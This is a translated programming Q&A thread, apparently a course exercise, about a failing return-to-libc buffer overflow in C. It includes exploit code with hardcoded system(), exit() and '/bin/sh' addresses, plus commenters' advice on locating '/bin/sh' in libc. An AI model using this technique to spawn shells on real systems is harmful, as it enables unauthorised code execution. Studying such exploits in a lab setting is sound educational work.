【发布时间】:2013-10-08 01:54:52
【问题描述】:
我应该想出一个利用“返回 libc 缓冲区溢出”的程序。也就是说,当执行时,它会干净地退出并显示一个 SHELL 提示。该程序在 bash 终端中执行。下面是我的 C 代码:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
使用gdb,我已经能够确定以下内容:
- “系统”地址:0x4c4ab0
- “退出”地址:0x4ba520
- 字符串“/bin/sh”驻留在内存中:0xbfffff13
我也知道,使用gdb,在我的缓冲区变量中插入 32 个“A”会覆盖返回地址。因此,鉴于系统调用是 4 个字节,我首先在 28 个字节处填充我的内存“泄漏”。在第 28 个字节,我开始我的系统调用,然后退出调用,最后添加我的“/bin/sh”内存位置。
但是,当我运行程序时,我得到以下信息:
sh: B���: command not found
Segmentation fault (core dumped)
我真的不知道我做错了什么......
[编辑]:我可以通过导出环境变量来获取字符串“/bin/sh”:
export MYSHELL="/bin/sh"
【问题讨论】:
-
您的字符串
"/bin/sh"是否以\0结尾? -
看到我使用“导出”将其放入内存 - 它很可能以 \0 字符终止。
-
@lightningmanic
/bin/sh的地址在gdb前后变化。直接在 libc 中找到/bin/sh的出现并使用它。 -
@ouah 我通过gdb运行我的程序得到的/bin/sh的地址,所以我看到的地址应该和我自己运行程序时一样。这台机器上也没有地址随机化。
-
@lightningmanic 即使没有堆栈随机化,堆栈的形状在
gdb下还是不一样。MYSHELL变量的堆栈地址可能与gdb下的堆栈地址不同,而不是gdb下的堆栈地址。
标签: c bash buffer-overflow